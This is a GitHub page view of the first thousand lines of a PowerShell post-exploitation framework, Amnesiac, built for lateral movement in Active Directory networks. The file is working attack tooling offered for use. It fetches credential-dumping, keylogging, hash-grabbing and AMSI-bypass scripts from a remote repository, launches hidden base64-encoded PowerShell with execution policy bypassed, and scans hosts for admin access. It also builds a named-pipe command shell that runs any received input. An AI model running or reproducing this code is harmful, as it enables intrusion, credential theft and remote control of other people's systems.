-
-
Notifications
You must be signed in to change notification settings - Fork 56
/
Amnesiac_ShellReady.ps1
5443 lines (4450 loc) · 215 KB
/
Amnesiac_ShellReady.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
function Amnesiac {
<#
.SYNOPSIS
Amnesiac Author: Rob LP (@L3o4j)
.DESCRIPTION
Post-Exploitation framework designed to assist with lateral movement within Active Directory environments
URL: https://github.com/Leo4j/Amnesiac
#>
param (
[string]$Command,
[string]$Domain,
[string]$DomainController,
[string]$Targets,
[string]$Timeout = "30000",
[string]$GlobalPipeName,
[string]$IP,
[string]$UserName,
[string]$Password,
[switch]$SkipPortScan,
[switch]$ScanMode,
[switch]$CheckTargets,
[switch]$Detached,
[switch]$Night
)
if($Detached -AND -not $IP){
Write-Output ""
Write-Output "[-] Please provide your host IP address: -IP <YOUR-IP>"
Write-Output ""
$PossibleIPAddresses = Get-NetIPAddress -AddressFamily IPv4 |
Where-Object { $_.InterfaceAlias -notlike 'Loopback*' -and
($_.IPAddress.StartsWith("10.") -or
$_.IPAddress -match "^172\.(1[6-9]|2[0-9]|3[0-1])\." -or
$_.IPAddress.StartsWith("192.168.")) } |
Select-Object -Property IPAddress -ExpandProperty IPAddress
Write-Output "[*] Available IP addresses:"
Write-Output ""
foreach($IP in $PossibleIPAddresses){
Write-Output "$IP"
}
Write-Output ""
break
}
if($Detached){$global:Detach = $True}
else{$global:Detach = $False}
$global:IP = $null
if($IP){$global:IP = $IP}
$ErrorActionPreference = "SilentlyContinue"
$WarningPreference = "SilentlyContinue"
Set-Variable MaximumHistoryCount 32767
# Folder Structure Creation
$basePath = "C:\Users\Public\Documents\Amnesiac"
$subfolders = @("Clipboard", "Downloads", "History", "Keylogger", "Payloads", "Screenshots", "Scripts", "Monitor_TGTs")
if (-not (Test-Path $basePath)) {New-Item -Path $basePath -ItemType Directory > $null}
$subfolders | ForEach-Object {$subfolderPath = Join-Path -Path $basePath -ChildPath $_;if (-not (Test-Path $subfolderPath)) {New-Item -Path $subfolderPath -ItemType Directory > $null}}
# Global Variables Setup
Remove-Variable -Name FileServerProcess -Scope Global -ErrorAction SilentlyContinue
$global:ServerURL = "https://raw.githubusercontent.com/Leo4j/Amnesiac/main/Tools"
$global:directAdminSessions = @()
$global:listenerSessions = New-Object 'System.Collections.Generic.List[psobject]'
$global:MultipleSessions = New-Object 'System.Collections.Generic.List[psobject]'
$globalrandomvalue = ((65..90) + (97..122) | Get-Random -Count 16 | % {[char]$_})
if(!$GlobalPipeName){$global:MultiPipeName = ((65..90) + (97..122) | Get-Random -Count 16 | % {[char]$_}) -join ''}
else{$global:MultiPipeName = "$GlobalPipeName"}
$global:bookmarks = New-Object 'System.Collections.Generic.List[psobject]'
$global:payloadformat = 'b64'
$global:localadminaccesspayload = 'SMB'
$global:AdminCheckProtocol = 'SMB'
$global:AllOurTargets = @()
$global:UserDefinedTargetsPath = $null
$global:AllUserDefinedTargets = $null
$global:Message = $null
$global:RestoreTimeout = $False
$global:ScanModer = $False
if(!$ScanMode){$global:Message = " [+] Welcome to Amnesiac. Type 'help' to list/hide available commands"}
$ShowSessions = $True
$ShowMenuCommands = $False
$ShowUserDefinedTargets = $False
$ShowBookmarks = $True
if($Targets){
$TestPath = Test-Path $Targets
if($TestPath){
$global:AllUserDefinedTargets = @()
$UserDefinedTargets = @()
$global:AllUserDefinedTargets = Get-Content -Path $Targets
$global:AllUserDefinedTargets = $global:AllUserDefinedTargets | Sort-Object -Unique
$UserDefinedTargets = $global:AllUserDefinedTargets
}
else{
$global:AllUserDefinedTargets = @()
$UserDefinedTargets = @()
$global:AllUserDefinedTargets = $Targets -split "," | ForEach-Object { $_.Trim() }
$UserDefinedTargets = $global:AllUserDefinedTargets
}
if($CheckTargets){
$UserDefinedTargets = CheckReachableHosts
$UserDefinedTargets = $UserDefinedTargets | Where-Object { $_ -ne '' -and $_ -ne $null }
$global:AllUserDefinedTargets = $UserDefinedTargets
}
}
while ($true) {
# Display the Session Menu
Write-Output ""
Display-SessionMenu
if($ScanMode -OR $global:ScanModer){$choice = 3}
else{
# Get User Input
if(($global:directAdminSessions.Count -gt 0) -OR ($global:listenerSessions.Count -gt 0) -OR ($global:MultipleSessions.Count -gt 0)){
[Console]::Write(" Choose an option or session number, or type 'exit' to quit ")
$choice = Read-Host
}
else{
[Console]::Write(" Choose an option or type 'exit' to quit ")
$choice = Read-Host
}
}
$choice = $choice.Trim()
if ($choice -eq '') {continue}
if ($choice -eq 'sessions') {
if(($global:directAdminSessions.Count -gt 0) -OR ($global:listenerSessions.Count -gt 0) -OR ($global:MultipleSessions.Count -gt 0)){
if($ShowSessions){$ShowSessions = $False}
else{$ShowSessions = $True}
}
else{$global:Message = " [-] No Sessions established."}
continue
}
if ($choice -eq 'help') {
if($ShowMenuCommands){$ShowMenuCommands = $False}
else{$ShowMenuCommands = $True}
continue
}
if ($choice -eq 'Bookmarks') {
if($global:bookmarks){
if($ShowBookmarks){$ShowBookmarks = $False}
else{$ShowBookmarks = $True}
}
else{$global:Message = " [-] No Bookmarks set."}
continue
}
if ($choice -eq 'toggle') {
if($global:payloadformat -eq 'b64'){
$global:payloadformat = 'pwsh'
$global:Message = " [+] Payload format: pwsh"
}
elseif($global:payloadformat -eq 'pwsh'){
$global:payloadformat = 'pwraw'
$global:Message = " [+] Payload format: pwsh(raw)"
}
elseif($global:payloadformat -eq 'pwraw'){
$global:payloadformat = 'raw'
$global:Message = " [+] Payload format: cmd(raw)"
}
elseif($global:payloadformat -eq 'raw'){
$global:payloadformat = 'gzip'
$global:Message = " [+] Payload format: gzip"
}
elseif($global:payloadformat -eq 'gzip'){
$global:payloadformat = 'exe'
$global:Message = " [+] Payload format: exe"
}
elseif($global:payloadformat -eq 'exe'){
$global:payloadformat = 'b64'
$global:Message = " [+] Payload format: cmd(b64)"
}
continue
}
if ($choice -eq 'Find-LocalAdminAccess') {
if($global:localadminaccesspayload -eq 'SMB'){
$global:localadminaccesspayload = 'PSRemoting'
$global:Message = " [+] Find-LocalAdminAccess Method: PSRemoting"
}
elseif($global:localadminaccesspayload -eq 'PSRemoting'){
$global:localadminaccesspayload = 'SMB'
$global:Message = " [+] Find-LocalAdminAccess Method: SMB"
}
continue
}
if ($choice -eq 'switch') {
if($global:AdminCheckProtocol -eq 'SMB'){
$global:AdminCheckProtocol = 'WMI'
$global:Message = " [+] Admin Access Scan Protocol: WMI"
}
elseif($global:AdminCheckProtocol -eq 'WMI'){
$global:AdminCheckProtocol = 'SMB'
$global:Message = " [+] Admin Access Scan Protocol: SMB"
}
continue
}
if ($choice -eq 'scramble') {
$OldGlobalPipeName = $global:MultiPipeName
$global:MultiPipeName = ((65..90) + (97..122) | Get-Random -Count 16 | % {[char]$_}) -join ''
$global:Message = " [+] New Global-Listener PipeName: $global:MultiPipeName | Revert: [GLSet $OldGlobalPipeName]"
continue
}
if ($choice -eq 'exit') {
for ($i = $global:listenerSessions.Count - 1; $i -ge 0; $i--) {
$selectedSession = $global:listenerSessions[$i]
try {
# Send 'kill' command to the session
InteractWithPipeSession -PipeServer $selectedSession.PipeServer -StreamWriter $selectedSession.StreamWriter -StreamReader $selectedSession.StreamReader -computerNameOnly $selectedSession.ComputerName -PipeName $selectedSession.PipeName -ExecuteExitCommand > $null
$global:Message += " [+] Session killed [$($selectedSession.ComputerName)]`n"
} catch {
# Handle or log errors
Write-Error " [-] Failed to exit session with PipeName: $($selectedSession.PipeName). Error: $_"
}
}
$global:listenerSessions.Clear()
for ($i = $global:MultipleSessions.Count - 1; $i -ge 0; $i--) {
$selectedMultiSession = $global:MultipleSessions[$i]
try {
# Send 'kill' command to the session
InteractWithPipeSession -PipeClient $selectedMultiSession.PipeClient -StreamWriter $selectedMultiSession.StreamWriter -StreamReader $selectedMultiSession.StreamReader -computerNameOnly $selectedMultiSession.ComputerName -PipeName $selectedMultiSession.PipeName -UniquePipeID $selectedMultiSession.UniquePipeID -ExecuteExitCommand > $null
$global:Message += " [+] Session killed [$($selectedMultiSession.ComputerName)]`n"
} catch {
# Handle or log errors
Write-Error " [-] Failed to exit session with PipeName: $($selectedMultiSession.PipeName). Error: $_"
}
}
$global:MultipleSessions.Clear()
Write-Output ""
$global:Message = $global:Message -split "`n"
$global:Message = $global:Message | Where-Object { $_ -ne '' -and $_ -ne $null }
foreach ($line in $global:Message) {
Write-Output $line
}
$global:Message = $null
Write-Output ""
if($global:FileServerProcess){
Stop-Process -Id $global:FileServerProcess.Id -ErrorAction SilentlyContinue
Remove-Variable -Name FileServerProcess -Scope Global -ErrorAction SilentlyContinue
}
break
}
if ($choice -eq 'targets') {
if($UserDefinedTargets){
if($ShowUserDefinedTargets){$ShowUserDefinedTargets = $False}
else{$ShowUserDefinedTargets = $True}
}
else{$global:Message = " [-] No User-Defined Targets. Scope: All";$ShowUserDefinedTargets = $False}
continue
}
if ($choice -eq 'kill all') {
# Remove all bookmarks associated with single listener and multi listener sessions
for ($j = $global:bookmarks.Count - 1; $j -ge 0; $j--) {
$bookmarkIdentifier = $global:bookmarks[$j].Identifier
# Check if the identifier exists in the listener sessions
$listenerMatch = $global:listenerSessions | Where-Object { $_.PipeName -eq $bookmarkIdentifier }
# Check if the identifier exists in the multi listener sessions
$multiListenerMatch = $global:MultipleSessions | Where-Object { $_.UniquePipeID -eq $bookmarkIdentifier }
if ($listenerMatch -or $multiListenerMatch) {
$global:bookmarks.RemoveAt($j)
}
}
for ($i = $global:listenerSessions.Count - 1; $i -ge 0; $i--) {
$selectedSession = $global:listenerSessions[$i]
try {
# Send 'kill' command to the session
InteractWithPipeSession -PipeServer $selectedSession.PipeServer -StreamWriter $selectedSession.StreamWriter -StreamReader $selectedSession.StreamReader -computerNameOnly $selectedSession.ComputerName -PipeName $selectedSession.PipeName -ExecuteExitCommand > $null
$global:Message += " [+] Session killed [$($selectedSession.ComputerName)]`n"
} catch {
# Handle or log errors
Write-Error " [-] Failed to exit session with PipeName: $($selectedSession.PipeName). Error: $_"
}
}
$global:listenerSessions.Clear()
for ($i = $global:MultipleSessions.Count - 1; $i -ge 0; $i--) {
$selectedMultiSession = $global:MultipleSessions[$i]
try {
# Send 'kill' command to the session
InteractWithPipeSession -PipeClient $selectedMultiSession.PipeClient -StreamWriter $selectedMultiSession.StreamWriter -StreamReader $selectedMultiSession.StreamReader -computerNameOnly $selectedMultiSession.ComputerName -PipeName $selectedMultiSession.PipeName -UniquePipeID $selectedMultiSession.UniquePipeID -ExecuteExitCommand > $null
$global:Message += " [+] Session killed [$($selectedMultiSession.ComputerName)]`n"
} catch {
# Handle or log errors
Write-Error " [-] Failed to exit session with PipeName: $($selectedMultiSession.PipeName). Error: $_"
}
}
$global:MultipleSessions.Clear()
continue
}
if ($choice -like "Serve*") {
$commandParts = $choice -split '\s+', 3
$userdefPort = $commandParts[1]
$userdefPath = $commandParts[2]
if($userdefPath){$userdefPath = $userdefPath.TrimEnd('\')}
else{$userdefPath = "c:\Users\Public\Documents\Amnesiac\Scripts"}
if(!$userdefPort){$userdefPort = 8080}
if($Detached){$DefineHostname = $global:IP}
else{$DefineHostname = [System.Net.Dns]::GetHostByName(($env:computerName)).HostName}
$urls = @(
"$($global:ServerURL)/Ask4Creds.ps1",
"$($global:ServerURL)/Find-LocalAdminAccess.ps1",
"$($global:ServerURL)/Invoke-SessionHunter.ps1",
"$($global:ServerURL)/PInject.ps1",
"$($global:ServerURL)/Invoke-SMBRemoting.ps1",
"$($global:ServerURL)/Invoke-WMIRemoting.ps1",
"$($global:ServerURL)/Token-Impersonation.ps1",
"$($global:ServerURL)/Tkn_Access_Check.ps1",
"$($global:ServerURL)/Invoke-GrabTheHash.ps1",
"$($global:ServerURL)/klg.ps1",
"$($global:ServerURL)/cms.ps1",
"$($global:ServerURL)/dumper.ps1",
"$($global:ServerURL)/SimpleAMSI.ps1",
"$($global:ServerURL)/NETAMSI.ps1",
"$($global:ServerURL)/HiveDump.ps1",
"$($global:ServerURL)/Invoke-Patamenia.ps1",
"$($global:ServerURL)/Suntour.ps1",
"$($global:ServerURL)/Ferrari.ps1",
"$($global:ServerURL)/pwv.ps1",
"$($global:ServerURL)/RDPKeylog.exe",
"$($global:ServerURL)/TGT_Monitor.ps1"
)
# Specify the folder where files will be downloaded
$destinationFolder = $userdefPath
# Create the folder if it does not exist
if (-not (Test-Path -Path $destinationFolder)) {
New-Item -ItemType Directory -Force -Path $destinationFolder
}
Write-Output ""
Write-Output " [+] Downloading Scripts to $destinationFolder"
$runspacePool = [runspacefactory]::CreateRunspacePool(1, [Environment]::ProcessorCount)
$runspacePool.Open()
$runspaces = @()
foreach ($url in $urls) {
# Create a separate variable that will be captured by the script block
$currentUrl = $url
$powershell = [powershell]::Create().AddScript({
param($url, $destinationFolder)
function Get-FileNameFromUrl {
param ([string]$url)
$uri = [System.Uri]$url
$filename = [System.IO.Path]::GetFileName($uri.LocalPath)
return $filename -replace '[^A-Za-z0-9.-]', '_'
}
function Download-File {
param($url, $destinationPath)
try {
Invoke-WebRequest -Uri $url -OutFile $destinationPath
} catch {
Write-Output "Error downloading '$url': $_"
}
}
$fileName = Get-FileNameFromUrl -url $url
$destinationPath = Join-Path -Path $destinationFolder -ChildPath $fileName
if (!(Test-Path -Path $destinationPath)) {
Download-File -url $url -destinationPath $destinationPath
}
}).AddArgument($currentUrl).AddArgument($destinationFolder)
$powershell.RunspacePool = $runspacePool
$runspaces += [PSCustomObject]@{
Pipe = $powershell
Status = $powershell.BeginInvoke()
}
}
foreach ($runspace in $runspaces) {
$runspace.Pipe.EndInvoke($runspace.Status)
$runspace.Pipe.Dispose()
}
$runspacePool.Close()
$runspacePool.Dispose()
$global:ServerURL = "http://$($DefineHostname):$userdefPort"
$scriptWithCommand = $FileServerScript + "`nFile-Server -Port $userdefPort -Path $userdefPath"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($scriptWithCommand)
$encodedCommand = [Convert]::ToBase64String($bytes)
$global:FileServerProcess = Start-Process powershell.exe -WindowStyle Hidden -ArgumentList "-ep Bypass", "-NoProfile", "-enc $encodedCommand" -PassThru
$processId = $global:FileServerProcess.Id
$global:Message += " [+] File Server started with PID $processId. To kill it [Stop-Process -Id $processId]"
# Embedded monitoring script
$parentProcessId = $PID
$FileServerMonitoringScript = @"
while (`$true) {
Start-Sleep -Seconds 5 # Check every 5 seconds
# Check if the primary script is still running using its Process ID
`$process = Get-Process | Where-Object { `$_.Id -eq $parentProcessId }
if (-not `$process) {
# If the process is not running, kill the File Server
Stop-Process -Id $processId
break # Exit the monitoring script
}
}
exit
"@
$b64FileServerMonitoringScript = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($FileServerMonitoringScript))
# Execute the embedded monitoring script in a hidden window
Start-Process powershell.exe -ArgumentList "-WindowS Hidden -ep Bypass -enc $b64FileServerMonitoringScript" -WindowStyle Hidden
continue
}
if ($choice -like "RepoURL*") {
$commandParts = $choice -split '\s+', 2
$userdefURL = $commandParts[1]
if($userdefURL){
$userdefURL = $userdefURL.TrimEnd('/')
$global:ServerURL = $userdefURL
}
else{$global:ServerURL = "https://raw.githubusercontent.com/Leo4j/Amnesiac/main/Tools"}
$global:Message += " [+] Repo URL set to $global:ServerURL"
if($global:FileServerProcess){
Stop-Process -Id $global:FileServerProcess.Id -ErrorAction SilentlyContinue
Remove-Variable -Name FileServerProcess -Scope Global -ErrorAction SilentlyContinue
}
continue
}
$commandParts = $choice -split '\s+', 2
if ($commandParts[0] -eq 'GLSet' -and $commandParts[1]) {
$OldGlobalPipeName = $global:MultiPipeName
$global:MultiPipeName = $commandParts[1]
$global:Message = " [+] New Global-Listener PipeName: $global:MultiPipeName | Revert: [GLSet $OldGlobalPipeName]"
continue
}
if ($commandParts[0] -eq 'targets' -and $commandParts[1] -eq 'clear') {
if($UserDefinedTargets){
$UserDefinedTargets = $null
$global:AllUserDefinedTargets = $null
$global:UserDefinedTargetsPath = $null
$ShowUserDefinedTargets = $False
$global:Message = " [+] Targets Cleared"
} else {$global:Message = " [-] No Targets Defined"}
continue
}
if ($commandParts[0] -eq 'targets' -and $commandParts[1] -eq 'check') {
if($UserDefinedTargets){
if($Domain -AND $DomainController){$UserDefinedTargets = CheckReachableHosts -Domain $Domain -DomainController $DomainController}
else{$UserDefinedTargets = CheckReachableHosts}
$UserDefinedTargets = $UserDefinedTargets | Where-Object { $_ -ne '' -and $_ -ne $null }
$global:AllUserDefinedTargets = $UserDefinedTargets
$global:Message = " [+] Targets Check Completed"
} else {$global:Message = " [-] No Targets Defined"}
continue
}
if ($commandParts[0] -eq 'targets' -and $commandParts[1]) {
$commandParts[1] = $commandParts[1] -replace '^"|"$', ''
$TestPath = Test-Path $commandParts[1]
if($TestPath){
$UserDefinedTargets = Get-Content -Path $commandParts[1]
$UserDefinedTargets = $UserDefinedTargets | Sort-Object -Unique
$global:UserDefinedTargetsPath = $commandParts[1]
$global:AllUserDefinedTargets = $UserDefinedTargets
$global:Message = " [+] Targets loaded. Type 'targets' to list/hide them"
}
else{
$global:AllUserDefinedTargets = @()
$UserDefinedTargets = @()
$global:AllUserDefinedTargets = $commandParts[1] -split "," | ForEach-Object { $_.Trim() }
$UserDefinedTargets = $global:AllUserDefinedTargets
$global:Message = " [+] Targets set. Type 'targets' to list/hide them"
}
continue
}
if ($commandParts[0] -eq 'bookmark' -and $commandParts[1] -match '^\d+$') {
$sessionNumber = [int]$commandParts[1]
# Compute end indices for the various session categories
$directAdminEndIndex = 4 + $global:directAdminSessions.Count
$listenerEndIndex = $directAdminEndIndex + $global:listenerSessions.Count
$globalListenerEndIndex = $listenerEndIndex + $global:MultipleSessions.Count
if ($sessionNumber -ge 5 -and $sessionNumber -le $directAdminEndIndex) {
$selectedIndex = $sessionNumber - 5
$bookmark = [PSCustomObject]@{
'DisplayName' = " [$sessionNumber]"
'DisplayComputerName' = $global:directAdminSessions[$selectedIndex]
'DisplayUserID' = "nt authority\system"
'Identifier' = $null # Admin sessions don't have a unique identifier
}
$global:bookmarks.Add($bookmark)
}
elseif ($sessionNumber -gt $directAdminEndIndex -and $sessionNumber -le $listenerEndIndex) {
$selectedIndex = $sessionNumber - 5 - $global:directAdminSessions.Count
$bookmark = [PSCustomObject]@{
'DisplayName' = " [$sessionNumber]"
'DisplayComputerName' = $global:listenerSessions[$selectedIndex].ComputerName
'DisplayUserID' = $global:listenerSessions[$selectedIndex].UserID
'Identifier' = $global:listenerSessions[$selectedIndex].PipeName
}
$global:bookmarks.Add($bookmark)
}
elseif ($sessionNumber -gt $listenerEndIndex -and $sessionNumber -le $globalListenerEndIndex) {
$selectedIndex = $sessionNumber - 5 - $global:directAdminSessions.Count - $global:listenerSessions.Count
$bookmark = [PSCustomObject]@{
'DisplayName' = " [$sessionNumber]"
'DisplayComputerName' = $global:MultipleSessions[$selectedIndex].ComputerName
'DisplayUserID' = $global:MultipleSessions[$selectedIndex].UserID
'Identifier' = $global:MultipleSessions[$selectedIndex].UniquePipeID
}
$global:bookmarks.Add($bookmark)
}
else {
$global:Message = " [-] Invalid session number. Please try again."
}
continue
}
if ($commandParts[0] -eq 'unbookmark' -and $commandParts[1] -match '^\d+$') {
# Extract the desired index from the user input
$desiredIndex = "[{0}]" -f $commandParts[1]
# Find the bookmark with the matching display index
$bookmarkToRemove = $global:bookmarks | Where-Object { $_.DisplayName -like "*$desiredIndex*" }
# Remove the bookmark if it exists
if ($bookmarkToRemove) {
$global:bookmarks.Remove($bookmarkToRemove) > $null
$global:Message = " Removed bookmark $desiredIndex"
} else {
$global:Message = " No bookmark found $desiredIndex"
}
continue
}
if ($commandParts[0] -eq 'kill' -and $commandParts[1] -match '^\d+$') {
$sessionNumber = [int]$commandParts[1]
$directAdminEndIndex = 4 + $global:directAdminSessions.Count
$listenerEndIndex = $directAdminEndIndex + $global:listenerSessions.Count
if ($sessionNumber -ge 5 -and $sessionNumber -le $directAdminEndIndex) {
$selectedIndex = $sessionNumber - 5
$selectedTarget = $global:directAdminSessions[$selectedIndex]
$global:Message = " [-] Killing Admin sessions is not needed, they are not active"
}
elseif ($sessionNumber -gt $directAdminEndIndex -and $sessionNumber -le $listenerEndIndex) {
$selectedIndex = $sessionNumber - 5 - $global:directAdminSessions.Count
$selectedSession = $global:listenerSessions[$selectedIndex]
# Extract the unique identifier
$identifierToRemove = $selectedSession.PipeName
# Use the function to kill this session
InteractWithPipeSession -PipeServer $selectedSession.PipeServer -StreamWriter $selectedSession.StreamWriter -StreamReader $selectedSession.StreamReader -computerNameOnly $selectedSession.ComputerName -PipeName $selectedSession.PipeName -ExecuteExitCommand > $null
# Remove the session from the single list
$indexToRemove = -1
for ($i = 0; $i -lt $global:listenerSessions.Count; $i++) {
if ($global:listenerSessions[$i].PipeName -eq $selectedSession.PipeName) {
$indexToRemove = $i
break
}
}
if ($indexToRemove -ne -1) {
$global:listenerSessions.RemoveAt($indexToRemove)
# Calculate the desiredIndex for the removed session
$desiredIndex = "[{0}]" -f ($indexToRemove + 5 + $global:directAdminSessions.Count) # Adjust for base numbering and other sessions' count
$bookmarkToRemove = $global:bookmarks | Where-Object { $_.DisplayName -like "*$desiredIndex*" }
if ($bookmarkToRemove) {
$global:bookmarks.Remove($bookmarkToRemove) > $null
}
$global:Message += " [+] Session killed [$($selectedSession.ComputerName)]`n"
}
}
elseif ($sessionNumber -gt $listenerEndIndex) {
$selectedIndex = $sessionNumber - 5 - $global:directAdminSessions.Count - $global:listenerSessions.Count
$selectedMultiSession = $global:MultipleSessions[$selectedIndex]
# Extract the unique identifier
$identifierToRemove = $selectedMultiSession.UniquePipeID
# Use your function to kill this session
InteractWithPipeSession -PipeClient $selectedMultiSession.PipeClient -StreamWriter $selectedMultiSession.StreamWriter -StreamReader $selectedMultiSession.StreamReader -computerNameOnly $selectedMultiSession.ComputerName -PipeName $selectedMultiSession.PipeName -UniquePipeID $selectedMultiSession.UniquePipeID -ExecuteExitCommand > $null
# Remove the session from the global list
$indexToRemove = -1
for ($i = 0; $i -lt $global:MultipleSessions.Count; $i++) {
if ($global:MultipleSessions[$i].UniquePipeID -eq $selectedMultiSession.UniquePipeID) {
$indexToRemove = $i
break
}
}
if ($indexToRemove -ne -1) {
$global:MultipleSessions.RemoveAt($indexToRemove)
# Calculate the desiredIndex for the removed session
$desiredIndex = "[{0}]" -f ($indexToRemove + 5 + $global:directAdminSessions.Count + $global:listenerSessions.Count) # Adjust for base numbering and other sessions' count
$bookmarkToRemove = $global:bookmarks | Where-Object { $_.DisplayName -like "*$desiredIndex*" }
if ($bookmarkToRemove) {
$global:bookmarks.Remove($bookmarkToRemove) > $null
}
$global:Message += " [+] Session killed [$($selectedMultiSession.ComputerName)]`n"
}
}
else {
$global:Message = " [-] Invalid session number. Please try again."
}
# Remove the associated bookmark, if it exists
if ($null -ne $identifierToRemove) {
$indexToRemove = $null
for ($i = 0; $i -lt $global:bookmarks.Count; $i++) {
if ($global:bookmarks[$i].Identifier -eq $identifierToRemove) {
$indexToRemove = $i
break
}
}
if ($null -ne $indexToRemove) {
$global:bookmarks.RemoveAt($indexToRemove)
}
}
continue
}
try{$choice = [int]$choice}
catch{$global:Message = " [-] Invalid command. Type 'help' to list/hide available commands";continue}
switch ($choice) {
'0' {
if($global:AdminCheckProtocol -eq 'SMB'){
# Check network for admin access
if($Domain -AND $DomainController){$allTargets = CheckAdminAccess -Domain $Domain -DomainController $DomainController}
else{$allTargets = CheckAdminAccess}
if($allTargets){
$global:Message = " [+] Admin Access: $($allTargets.count) Targets [SMB]"
foreach ($target in $allTargets) {
# Check if this target is not already in sessions
if (-not ($global:directAdminSessions -contains $target)) {
$global:directAdminSessions += $target
}
}
}
else{$global:Message = " [-] No Admin Access [SMB]";continue}
}
elseif($global:AdminCheckProtocol -eq 'WMI'){
# Check network for admin access
if($Domain -AND $DomainController){$allReachTargets = CheckReachableHosts -Domain $Domain -DomainController $DomainController -WMI}
else{$allReachTargets = CheckReachableHosts -WMI}
$allReachTargets = $allReachTargets -Join ","
$global:OldPipeNameToRestore = $global:MultiPipeName
$global:MultiPipeName = ((65..90) + (97..122) | Get-Random -Count 16 | % {[char]$_}) -join ''
$PN = $global:MultiPipeName
$SID = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value
if($global:Detach){$ServerScript="`$sd=New-Object System.IO.Pipes.PipeSecurity;`$user=New-Object System.Security.Principal.SecurityIdentifier `"S-1-1-0`";`$ar=New-Object System.IO.Pipes.PipeAccessRule(`$user,`"FullControl`",`"Allow`");`$sd.AddAccessRule(`$ar);`$ps=New-Object System.IO.Pipes.NamedPipeServerStream('$PN','InOut',1,'Byte','None',1028,1028,`$sd);`$tcb={param(`$state);`$state.Close()};`$tm = New-Object System.Threading.Timer(`$tcb, `$ps, 600000, [System.Threading.Timeout]::Infinite);`$ps.WaitForConnection();`$tm.Change([System.Threading.Timeout]::Infinite, [System.Threading.Timeout]::Infinite);`$tm.Dispose();`$sr=New-Object System.IO.StreamReader(`$ps);`$sw=New-Object System.IO.StreamWriter(`$ps);while(`$true){if(-not `$ps.IsConnected){break};`$c=`$sr.ReadLine();if(`$c-eq`"exit`"){break}else{try{`$r=iex `"`$c 2>&1|Out-String`";`$r-split`"`n`"|%{`$sw.WriteLine(`$_.TrimEnd())}}catch{`$e=`$_.Exception.Message;`$e-split`"`r?`n`"|%{`$sw.WriteLine(`$_)}};`$sw.WriteLine(`"#END#`");`$sw.Flush()}};`$ps.Disconnect();`$ps.Dispose();exit"}
